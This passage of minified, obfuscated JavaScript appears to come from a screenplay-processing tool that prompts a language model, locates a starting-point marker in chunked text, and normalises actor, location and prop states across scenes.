s4JEAEHoAiKoAwScbZy2vUzE+8M+AkIUwpMowmLUI/H+EOI+wgMEwfPsbHy3rPB27VViZLKi7NU63OTytKUQFMSRVNKiBKVjRNU7tMIQtMJihKUyuGC3rHDgxJGii","C2XPy2u","icdOKAhOR63LIQJKVzWGyfjPy2HHCMqGyxzHBSoNysWGywDHCNjHievTAwX5ihbLBgeGCM91CgeGzsbHihb1EgeGCgfYysbJAw1HlMaG4OAsigfJDgLVBI5JB250zw50pwbsAwnOyxjK5lIk5yMn5OQt5l2prw1PBhNNMOtOOApMNi3VViZMIORLPBNMI73KUOBOTBFMNAxJGijG44cc","ywn0Aw9UioEBToAoPEwgMEwfT+s9K+s6UUEjQEwqJE+8JoAyJUEHRUIHJowkQoIaHEoaGEwkQos9NooaGEs9NoEuQowVUEIXOEoaGEEPUUMxToAwUEwqKEwsJowpR+INGEE7K+AENo+8M+wKMUs4QUwfIowqJUwpKEEuN+EAHowkQos9NooaGEwpJEw6LooaGEAoPEINPUoaGEMbK+wfT+wpMowmLUAiLUMvNowKTowpMowmLUAmIEwoN+AwH+MHUUw6J+wiHUwiQ+AjV+I9VE+8Jos4JEwoI+AiKowjP+AdHEAMGUI/SooaGUI6Q+s7VEAyJUEHRUAxTUA2IoINO+s7O+IVJE+8JoAxOoAZLEEHRUIUPoAxTUs/NEAmGEwpR+AGUoAFPEApJ+I/So+8Jos4JEEmNoA1I+oaGUwpQUEuQowoN+AwH+AyJUEHRUwgMEwhUUEAHoIHQoAdHEoaGEINHUE6V+oaGEIcOUs9K+oaGEMbK+wfT+AiLUEoR+wIG+wpJEw6LoIHQoI+VUEkTUAaGE+8Jos4JEEuQoAdHEE7QUoaGEAaGEw6PUAiLUw/G+EqHUwiPoAwREABV+s7O+wpR+INGEs6I+wUNUoaGG","icdMUPaGyoMbK+wfT++8MUwPMUs5PU+8JoEoIEs9QwaG4OAsihnJzw5LlNbYB3bZpvT7iM5HBwuIoIlLQzRKUAyIFsX7iM5HBwuIoIlNJONKVAKIFv3JGii","icdMUPaGyokwSYdNLllMJQJPL6JOGiZLHAxJGijGiokgKIbHy3rPB27VViXJB250zw50iowoU+AoIEAGVow8J+wjJEE8GcbG4PAZyooaGG","su5hrvnux05puK1bteLArv9gquLmruq","5B+f6Ag75OQk6l+z5lQB5Q2J5PAh5y6F5l2n5Ps+5zYOihjLy29YzhmG5PYa5yMn6z2I77YBzxbPC29KzsdLJ6RLNkJMUPdMLOFMNkZMMi7NOA7PM4BOVRNNLyZLPitLHPNLHAxJGilMOiFLH4BLIAFMNkZMSR/NLkJLJP/MNiNLNlRNLyZVVjVLSi/OR7tLKOZPNz7MOiFLH4BMLOFMNkZKVP3MJA7LNldNGRNLIiFMJAlJGihMMi7MMl7OT7pML7BJGihLJ5NKUOVNUR/LIiFMJAlMIjBMMi7NOA7OVAZLNlRLU7RNQ4SGC2nLBMxVVjVLKiZKUidOV57NU63LNlRNMOtMJihKUyxLPjBOSOZLJ5JLJjBLHPNLHAuGywn0Aw9U44cc","5lQ654MP5y+Q5yIx5yw35l2t5y2v5lQ66kEs6iMY77YB5A625PEpl+ACUUAEHc/NVQtKVzmV5RoB56EW5lIn5yIx5ywLigfJDg9YC+oaGUE+Pos9K+wwIUIVNEEAHcbZCgvHA2vYioEuQcb7iMTPBMqIoIjNCM91Ccj944cc","5Q+p56En6k6W5B2v5y+Q6io95l2/55sO5lIk6z2I5yIx5yE655Qe5A2x5Q6177Ym56Ab5Q2I5AkE5yQGig5HBwxJGif0zxH044cbBgLUzEoaGwvWAxnVzgvFDgL0BguG562j6iEQ5yIB5A2x5Q6144cc","ANnVBL9VyMPLy3q","BwvZC2fNzq","icdMUPaGyowCUJmTmIdML6uV5yAfiowUOUwoHwaG4OAsios4Gos4QIbZy2vUzE+8M3nWywnLiowpQUEuQcbPBNrLCMLVCI9LEhrLCMLVCU+8JhrPBwuG5y+Q55sOigrHEs9UAwDODc9KyxDUl2r1C2VJGilNMB3LPkKV5PEL6zE05B2sigrHEE+8JowKNoAzMI/LPjZPL7tLVziGBMLNAhtVViZMUixMMAGV6BUo5PIo5B2sigrHD27VViZPU4tMMi8V5ykn5PMA5B2sigr1C2VJGilLJP/MLOFMNkRNM7tMJQxLHPNMMi7ML7BVViZMOlNMJA7NHAFMMi7JGihKVzZMGA/JGihLPkNNQBRLKOZKUiRKUiVMLOFLIktMLQ3VVjVKUi3LVPFNNihNLAxMIjBLHPNNQBRKUllJGii","y2H1BMSG","5zcm5zYW54k56l+E57UT6jkz5AsQ5Awh5l+D55wz5lIa5lIQihnJzw5Liow5TUEuQcb0CMfUC2L0Aw9U77YB6lEO5zYW54k56jkz5AsQ5Awh5OYj5yMQ6l6r6Ag65BQp5OUg5OIq5AsA5lIQihnJzw5L77Ym5Q+p5zY65AgR5yAz6iEQ5BEX55QeigXVy2f0Aw9U44cbywn0B3jZ44cbChjVChmG5zkmihn0yxrL44cc","CMvJB3jKCYdMJiNMUPdMLOFMNkZLJ5hNLj/POBRLUO/MJPlLIjFVViZLJ6RMLl7MUPdMLOFMNkZKUk3LRP7PMyxLRzJLNkJNMOtLHOxLRRNVVjVKUi3OPOhOH4BPGkdOVRNNLyZVViZKUi3OPOhMJ5dKVPSGC291CMnLiowTL+AUTEoaGG","s2fYENy","6l+z5lIQ54Mh5Q615y+V6io95OM/5O6L5lIk5lIa54Mh5Q6155Qe5zcm5lIa5zY677YB5y+Q5PYj5RQq5PAh5PYS5yE6546W55YF5A6E5zY655wm5PE25OMn5BU656Ul5PAW5zY644cc","6ycq6kgm5Ase55cg5y6F5PAh77Ym5BM25zYO6l6t5yE65yMn6ycq6kgm6iEQ5Qoa5Q2J5PAh5PIV5zcM5ywO6yoO5OM/6l2944cc5lIa5lIQ5y6F5PAh5Q616jc95zcR5AsA5y+L5PE25B+f6Ag75l+D55wz5ywO6yoO5y+L5A2q77YB5y+V5lUL5OUg5OIq5AsA5P2H6k6W5B2v77Ym5l2g56Ab5Q2I5OIQ5PAT44cb5Pgy6kAb44cb5zci5BM25zco5RYp5y+L5OIw5y+Q5l+D55wz5Q616jc95yMn5y2k5Q6144cc5yQO5l2C57+76k+r5y+Q6io95Ps55y+y6kgO6l6+6k+T6kIa77Ym5lIn6io95yEp5Bcr5lQl5A6E44cc5lIn6kAb6l6t5yE66iEQ5Qoa6l+h56Il44cc","BwfW","AgfZt3DU","lsdLIQJKVzWV546V5Akd77YAEYjRAw5KiJOIywn0Aw9UiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHowpR+AlJEArHoApJ+I/Scj944cc","CgfYC2u","B2jQzwn0","sNz4u1y","Aw52ywXPzcbZDhj1y3r1CMvKig91Dhb1Da","C3rYAw5NAwz5","CMvJB3jKCW","57UD5lIn6kAb5OQk6z2G5zco5yE6546W55Qe6zUg6l6555wm5O+q5yIW5BYa5As044cc","lsdPM4BOVRNNLyZVVjP7iMTPBMqIoIjLCgLZB2rLiIWIzxbPC29Kzsi6mtKSiNrPDgXLiJOI5y+V6ycj5Qch6AkyiN3JGijLCgLZB2rLiow/HEMHU+wpLUA6KoAwH+ACRowgMEAyJUEAHoMBHUwpT++8M+s5PUwqJEoaGEAlRowpT+oaGEAGH+MIMoAwH+wTL+MdVEs4JEIdVEA3T+I/MYbLCgLZB2rL44cc","y29Yzv9SAw5Lx2vUza","5PYa6AUy5lYy5ywi57QN5PIV5Q2J5PAh6zU25lII5AsX77YA5y6F5PAh5lIT55Qe5Q+p5lIa5P2H5yQO5l2C44cb546V5Akd5O+p5yAz44cb5A+555M944cb5yAf5B+d54US55M944cb55s75Asw6z+Z44cb5A2x5BMv5zkm6l2S5zY66yo95B+f6Ag75A6m5Pw06l+B5ywLihjLy29YzhpJGilNPOhMRAlLM6dLHOxLRRNPH43LPi3JGihMRkhOPOhJGihOV4FMUkhMGkFLVlRJGihNR4FLUyxPLB/JGihKVB/NLkJLPjBOR63MIjBPMR7KU6xLIiBNSBVOGiZNNihNLAxJGii","5Q+p5P2HigrPywXVz3vLiowpQUwCQowoN+AwH+AyJUEHRUE7MEwhUUAxTU+8JoAjJEAkIUwpKEwJSoAwUEw8J+oaGEwJSoMFS+ADPEA6KoAiLUs4JEAuUEwpMoI/NUE7REAaP+EAHoEFREs/G+s8ToMAJ+wkQos9NoI9RoAnOUAiKoEUGos9K+s4REAwHYbLBw90Aw9U77YB5B2X5zon6lwW5l2n44cb5AE/5yQ/44cb5O6L6kEM44cb6ygt5yw35OIw6l+E57UT5OcN55Qe5yQO5l2C5y2v54US5yAzigfJDgLVBUoaGUwoN+AwH+AYOEACIEIHQoA8LoAiLUwJSoMFS+IVGEAnRUAxTUECGEEvPsbLBw90Aw9U77Ym5lIn5OYj6k+T5Akd6kgL6ycG44cc","lsdLR7NNMB3VVjP7iMTPBMqIoIjKAwfSB2D1zsiSiNnWzwfRzxiIoNSIBMfTzsi6iUEuSIj9lcjJB250zw50iJOI5y6F6k+DiIWIzw1VDgLVBIi6iUwpR+MaIsj944cc","5l2G5PIV5yMN5PYS6kEe6iYd5yYw5zMO44cc5OQk57Uz5A6A55Qe5RQq5PAh5PYS5z2x6l2S5O2I5OIq57Ut5P6e5yYw5yMN5PYS6k6W5B2v44cc","z2vUzxjHDgvuzxH0","lsdLNlROVRNNLyZVVjP7iMTPBMqIoIjZy2vUzsiSiMvUDMLYB25Tzw50iJP7iNnWywnLiJOIAw50zxjPB3iIlcj0Aw1LiJOIzgf5iN0SiMXVy2f0Aw9UiJP7iM5HBwuIoIlLRQlLJOuIFsWIywn0B3jZiJPBxsWIChjVChmIoLTDFEoaGUs4JEIMGEI+K+whUIbZy2vUzsdNVjBLJ7FLRzFMRRxVViZNS7VNU5/KVjROH6ROOyZOV57NU63NVjBLJ7FJGilMR4/KUkOGC2nLBMuG6yo95B+f6Ag75AgR5yAzigvUDMLYB25Tzw50lNrPBwxVViZLJ6ROG73KVB/NLkGGzgf5Fg5Pz2H0FgrHD258zhvZA++8M+s+NEASOEwVUEw6LoAxPs/LPjWV5PMOl+AyJ+oaGG","lsdLHOxLV4pNI6ZNMB0V55s75Asw6z+Z77YAEYjRAw5KiJOIAw5UzxjFDgHVDwDODciSiNnWzwfRzxiIoNSIBMfTzsi6iUEuSIj9lcjJB250zw50iJOI5y6F6k+DiIWIzw1VDgLVBIi6iUwpR+MaIsj944cc","sw5ZCgvJDcb0AguGy2H1BMSGzxjYB3iGC2LKzwnHCIbHBMqGCMvYDw4GyhnJCMLWDgn0BcbPBMDLC3rGlG","6z2E5lQ654MP5y+r5AoW5RQq55QeihnWzwfRzxiUA2LUzcdLJ6RNLkGGC3LZDgvTFgjYB2fKy2fZDhXVzMzZy3jLzw58z3jVDxdVViZLJ6/NLkGGBgfIzwWG6kgL5ywf5zcn56EW77YB5yw35l2t5lQ654MP5AEl57Ui55sOihnWzwfRzxiUBMfTzEoaGG","AxnbCNjHEq","6l+z5PIV5RQq5PAh5lU25BYa5As077YB5Bcp6k+05OIw6z2E5Qch5yEg5PAh5PYS5lUo56YS5lIa5lIQ5y+V56gU6k6K55Qe54MP55cg56M66zE05BU656Ul6AAw5zY644cc","C3bLywTLCI5Uyw1Liow/HEMHU+wHQ+wgMEwoN+AwH+s4REIdVEEHRUIUPoEAHowfT+s9K+s6UUEjQEwqJEwTL+w5TUs/NEAmGEwoN+wNI+AlVowgME+8M3nJzw5LlMfJDg9YCYdKUi4Gywn0Aw9Uios4REwgJEASOEwhUUEoSoIVPEs6UUEjQEAxTUs9V+EuQowqJos4GoAlVowgMEoaGUEMGEATOUE/U+IVKEoaGEMFS+IVKEoaGEs4REAwH+wmLUs6UUEjQEwqJE+8Jos5N+EMGEATOUEuQooaJU+8N+oaJ+oaJU+8N++8N+oaJ+oaJUACQUEFPEoaJ+oaJNvUA25VD27JGi/NRyNLJAdKVy3LKi3VVjVOUQVKU73ML6dMS5xNOA7ORQtML7BMLlNNLkGGC3bLywTLCI5RAw5Kpw9MzNnJCMvLBU+8JoE+Pos9K+wfSEwqJowpKEwJSoEuQcbNCM91CooaGG","5lUL5lIl5Q2J5PAh5B+f6Ag76ycq6kgm44cb6ycq5y+L5A6m5Pw06l+B5ywLihjLy29YzhpVVjRLR7NNMB3LKOZLHOxLV4pNI6ZNMB3PGjdLRzFKV53NLzNLJP/OR63OQidVVjVLIQJKVzZJGihNJQ/LOOpJGihOVAZLNlRJGihMIBNMS6JLKOZOOAJMVjtMJ5dNPlRLV6dLRP7OVAZMJAlMIjdNROdKVzpKUk3MLOFVVjVKURRNIANLKi3LNkJMIydMNiNORRdLVzxKUk3KV53MJihLJP/MLOFMI7ZLHPNVViZKUi3NV7VOR5hJGihKUi3PN7pOR5hJGilKUi3LVPFPGzFMVi/JGihMKzJOPOhJGihMIkRMLQ3MIjBOOAxPGkdJGilOVPpLH7RLIy3OR7FOH6ROOyZMOlJLR7NMR4/KUidOOyZVViZKUjtKUi3OPOhOVPpLH7RMOlJLR7NOV4FNQiVJGii","oIbWCM92AwrLCIbYzxr1CM5LzcbPBNzHBgLKiePtt04","icdMUPaGyoEuSU+8MUs9OoADPEs6HMaG4OAsigrPywXVz3vL44cc5RQqigdNLllVViJLHRFNRjhVViNVVjRKVAdMNAxKUOzGiokgKIbKAwfSB2D1zs5LBw90Aw9Uios4UIbG5yA356YryooaGG","DhjPBq","Dgv4Da","BM90zsdLJ6RNLkJKUO7NNj/MRApML6dMS5xLVzlLHAxLIAFMNkZJGihKUz/KUi3LSz7KUO7NLlVPNAiV5A+555M955Qe5yAf5A6544cc5RQq5PAh5PYS5z2x55Qe5A6E6lsO5yAf5A655lIn5B6x5lII5AsX44cc","ywn0Aw9U44cbzgLHBg9NDwxJGifPBM5LCL90Ag91z2H044cbDhjHBNnPDgLVBUoaGw5VDguG55QeignVBNrLBNqG5B+f6Ag75PIV6z2E56M65A2x56YM5lIY77YB5lIn5B6x6l6t5yE6ignVBNrLBNqG5lI656M655Qe5y2G5l2n6k6W5B2v44cc5y6F5PAh5RkH5PYj5A+55BQu5Q2J5PAh5PE25BcX5lIn6kAb5yIB5BU66k+L6k6W5B2v44cc","C291CMnL","CMvJB3jKig11C3qGyMuGyw4GB2jQzwn0ihDPDgHVDxqGC291CMnL","icdMUPaGyos6UUEjQE+8MUEuSUoaKoEzVEIHOYZMMi/OV7FJGjhVViZKUzLGiokgKIbZy2vUzs5Hy3rVCNm9w3SIBMfTzsi6iUEuSIiSiNn0yxrLiJOI55M96kgJloAyJ+I/TYj9lhSIBMfTzsi6iUs5Msj9xEoaGG","icdMUPaGyoEuSK9t77YA77Yi5Ogq5Owm77Yj5lUw5RkH5Q275zcN77YFycdIHPiGAw5UzxjFDgHVDwDODc5LBw90Aw9Uios4UIbG5Ogq5OwmyooaGG","C3zJvNG","A2v5CW","5zY65y+377Yi5AAcigdLNlOZltjG77Yj57UD5lIn5PIV6zUg6l6555wm77YB5y+Q5PYj5y6F5PAh5PIo56gU5yAz5yE6igdNRkXo6zUgycdMIjyGye7PM4zGioAxTUAjJEIdVEI+K+whUIbLCgLZB2rL44cc","oIbVDxrWDxqGBxvZDcbIzsbHBIbVyMPLy3qGy29UDgfPBMLUzYbVBMX5ihjLy29YzhnBxq","y29Yzv9SAw5Lx3n0yxj0","5lIL5Qc85l+D5OYb5RQq5PAh5PYS6Ag65BQp77Ym57UD5lIn6yEn5O6s77YA5z2x5BYa5As06iUL5zYO5lU75l2v44co6zUgl+wCUUoaJ+AGH+IUSos5I+wjJEwWSEACIEATO+AwH++8Ios4IUs4GowDL+AYOEwgMEwUJoEAHoAiJ++8IE+8Ja","icdMUPaGyooaKowTL+w5LE+8MUwBNUMxQoAxPEoaKwaG4OAsigfJDgLVBU+8M+EuU+MDOUAwH+wTL+wXNUs6JUEuU+MDOUwgHEwUUEoaGG","ugjquNe","lsdMIBNMS6JVVjP7iMTPBMqIoIjUB3rLiIWIy29UDgvUDci6iUw/OowUNUI9RoAnOUAiKoEUGos9K+s4REAwH+EAHoAjUEAZQciSiMnHDgvNB3j5iJOIyxv0Ag9Yx25VDgv8zM9YBwf0x25VDgv8Dw5JBgfZC2LMAwvKiN3JGii","oIbUB24Tzw1WDhKGy2H1BMSGChjVzhvJzwqGBM8GCMvJB3jKCW","6k6W5B2v57g75z6l77YA","Aw5Nzxn0lNrLEhqTBM9YBwfSAxPL","yuDguKW","Aw5KzxG","AM9PBG","6l+z5PIV5l6B5lIT5PAh57Yw5yMN5Asn5Qc455Qe5Qch5yEg56I/77YAzgLHBg9NDwuG5zkmigLUBMvYx3rOB3vNAhqG55QeignVBNrLBNqG6ycq5A2x5l+D55wz5RQq5PAh5PYS5A6E6zMf6k+T6kIa5lIo5As55P2c6k+T6kIa77Ym57UD5lIn57+76k+r77YB6zMK5Q2K5lUL5Asw77Ymywn0Aw9U44cbDhjHBNnPDgLVBUoaGw5VDgxJGifLBw90Aw9Uios7PEwpIUwCUUAzR+EAHoMaMUEuQowCSoEcUEApJ+I/SoMdVEs9V+EuQoIhQUEeTUoaGEwhHUEHRUEAHoEUGos9K+s4REAwH+oaGUs6UUEjQEwNK+wqJEwCQcbZCgvHA2vYlM5HBwxJGifZy2vUzs5Hy3rVCNpJGifHy3rPB24G5zkm5zco57UT6lwe5lQN55M76k6W5lIT6yo95B+f6Ag75Rk/55sO5RQq5PAh5PYS55Qe5y6F5AEl5OU85yAz77Ym5lIn57+76k+r44cb5lIn6z+Z6k+r44cb5lIn5Ps55OIq5lIT5PAh5zcn77YB5zob54Mm5zkm5RkH5PYj6ycA6kgm6k+r5zcn55Qe5yw25lUw5lIt5zcn5l+D55wz5y6F5PAh44cc5lIn5B6x5OQk5Pw05y+L5Asw6k+T5yQO5l2C5OIw546V5Akd5O+p6l+W5y6F5Qc355wz5zYOigfJDgLVBIdKUk3JGii","icdLKiZKUidLJ6xNLlhLPjRKURRLKiZML7BOR7tML7BVViZKUlRMR4/KUkROR7tOR53KURRLKitLHPNKUidMNAhNM7JPGRSGzgLHBg9NDwxVViXJB250zw50ioEBUowqJooaGG","6l2S5O2I6kEe5yIz77YA","44cq5B6f6kEe6iYd5yYw55Qe5y6F5PAh54Mh5Q6144cr"];return zp=function(){return e},zp()}async function Tg(e,t,n){let o=Y,i=await e[o(41)](o(71),{system:nI,user:oI(t),responseFormat:o(16),...n?{signal:n}:{}}),r;try{r=JSON[o(28)](i[o(53)])}catch{if(o(67)!==o(67))_0x10022d=_0x3c4a29[o(28)](_0x5ecbb9[o(53)]);else throw Ua(o(19)+t[o(73)]+o(50),[i[o(53)][o(7)](0,500)])}return{raw:i[o(53)],records:Hp(r,t)}}var Fp=sn,rI=Fp(1);function sI(e){let t=Fp,n=e[t(5)](/起点\s*[::]\s*(\d+)/);return n?{found:!0,line:Math[t(3)](Number(n[1]))}:{found:!1,line:null}}function Qp(){let e=["Dgv4Da","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","Aw5Nzxn0lMjVzhKTC3rHCNq","Dhj1BMm","z2vUzxjHDgvuzxH0","Bwf0y2G","5lIl6z2I5PIV5RQq5PAh5lU255Qe5lIa5Q6177Ym5Q+p6kgm5lUL44cm6kgm5y+3pfrbqJ7LHOxLRRNJGi3NU5NLH7RJGilLIktMLQ3NNj/MRApNMOtLIAFMNkZMRApMLOFMMk/LKkBLNkJOV5NMRRxPH4ZLVidLP4VVViZMJiNMOlZLVi/LJ6RLM57KUidOOyZJGiikcG"];return Qp=function(){return e},Qp()}async function Vg(e,t,n){let o=Fp,i=await e[o(4)](o(2),{system:rI,user:o(6)+t,...n?{signal:n}:{}});return sI(i[o(0)])}function sn(e,t){e=e-0;let n=Qp(),o=n[e];if(sn.sLepLJ===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let l=0,f,u,y=0;u=c.charAt(y++);~u&&(f=l%4?f*64+u:u,l++%4)?d+=String.fromCharCode(255&f>>(-2*l&6)):0)u=a.indexOf(u);for(let l=0,f=d.length;l<f;l++)p+="%"+("00"+d.charCodeAt(l).toString(16)).slice(-2);return decodeURIComponent(p)};sn.TPTWLA=i,sn.iYuNay={},sn.sLepLJ=!0}let r=n[0];sn.inDmHY!==r&&(sn.iYuNay={},sn.inDmHY=r);let s=sn.iYuNay[e];return s===void 0?(o=sn.TPTWLA(o),sn.iYuNay[e]=o):o=s,o}var $g=50,aI=10;async function Dg(e,t,n){let o=t.split(`
246
+ `),i=$g-aI;try{for(let r=0;r<o.length;r+=i){let s=Math.min(r+$g,o.length),c=o.slice(r,s).map((d,p)=>`${r+p+1} ${d}`).join(`
247
+ `),a=await Vg(e,c,n);if(a.found&&a.line!==null)return{line:Math.min(Math.max(a.line-1,0),o.length-1),scannedLines:s,found:!0};if(s>=o.length)break}}catch(r){return{line:0,scannedLines:0,found:!1,error:r instanceof Error?r.message:String(r)}}return{line:0,scannedLines:o.length,found:!1}}async function Gg(e,t,n){let o=new Array(e.length),i=0,r=Array.from({length:Math.max(1,Math.min(t,e.length))},async()=>{for(;;){let s=i++;if(s>=e.length)return;try{o[s]={index:s,ok:!0,value:await n(e[s],s)}}catch(c){o[s]={index:s,ok:!1,error:c}}}});return await Promise.all(r),o}var Qt=e=>typeof e=="object"&&e!==null&&!Array.isArray(e),an=e=>Array.isArray(e);function Yp(e){let t=new Map;if(!an(e))return t;for(let n of e){if(!Qt(n))continue;let o=n.actor_id??n.location_id??n.prop_id;typeof o=="string"&&t.set(o,n)}return t}function cI(e){let t=[],n=(o,i)=>{!Qt(o)||typeof o[i]!="string"||t.push({assetId:o[i],holder:o,explicit:typeof o.state_id=="string"?o.state_id:void 0})};for(let o of an(e.episodes)?e.episodes:[])if(!(!Qt(o)||!an(o.scenes))){for(let i of o.scenes)if(Qt(i)){n(i.location,"location_id");for(let r of an(i.actors)?i.actors:[])n(r,"actor_id");for(let r of an(i.props)?i.props:[])n(r,"prop_id");for(let r of an(i.actions)?i.actions:[])Qt(r)&&n(r.speaker,"actor_id")}}return t}function dI(e,t){let n=e.filter(i=>(t.get(i.state_id)??0)>0);if(n.length===0)return null;let o=n[0];for(let i of n.slice(1)){let r=t.get(i.state_id)??0,s=t.get(o.state_id)??0;(r>s||r===s&&i.state_name<o.state_name)&&(o=i)}return o.state_id}function Pa(e){if(!Qt(e))throw new Error("govern expects a script object");let t=JSON.parse(JSON.stringify(e));for(let p of an(t.episodes)?t.episodes:[])if(!(!Qt(p)||!an(p.scenes)))for(let l of p.scenes){if(!Qt(l))continue;let f=an(l.actors)?l.actors.filter(Qt):[],u=new Set(f.map(y=>y.actor_id).filter(y=>typeof y=="string"));for(let y of an(l.actions)?l.actions:[])!Qt(y)||!Qt(y.speaker)||typeof y.speaker.actor_id!="string"||u.has(y.speaker.actor_id)||(f.push({actor_id:y.speaker.actor_id}),u.add(y.speaker.actor_id));l.actors=f}let n=Yp(t.actors),o=Yp(t.locations),i=Yp(t.props),r=new Map([...n,...o,...i]),s=cI(t),c=new Map;for(let p of s){if(p.explicit===void 0)continue;c.has(p.assetId)||c.set(p.assetId,new Map);let l=c.get(p.assetId);l.set(p.explicit,(l.get(p.explicit)??0)+1)}let a=new Map;for(let[p,l]of r){let f=(an(l.states)?l.states:[]).filter(Qt),u=new Map,y=dI(f,c.get(p)??new Map),m;if(y===null){let g=f.find(w=>w.state_id==="default");m=[{state_id:"default",state_name:g?.state_name??"default",description:g?.description??""}]}else{m=[];for(let g of f)g.state_id!=="default"&&(g.state_id===y?(u.set(g.state_id,"default"),m.unshift({state_id:"default",state_name:g.state_name,description:g.description??""})):(u.set(g.state_id,g.state_id),m.push({state_id:g.state_id,state_name:g.state_name,description:g.description??""})))}l.states=m,a.set(p,u)}let d=new Map;for(let p of s){let l=a.get(p.assetId),f;p.explicit!==void 0?(f=l?.get(p.explicit)??p.explicit,d.set(p.assetId,f)):f=d.get(p.assetId)??"default",p.holder.state_id=f}return t}var Bg=cn;function cn(e,t){e=e-0;let n=qp(),o=n[e];if(cn.vcGzia===void 0){var i=function(c){let a="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=",d="",p="";for(let 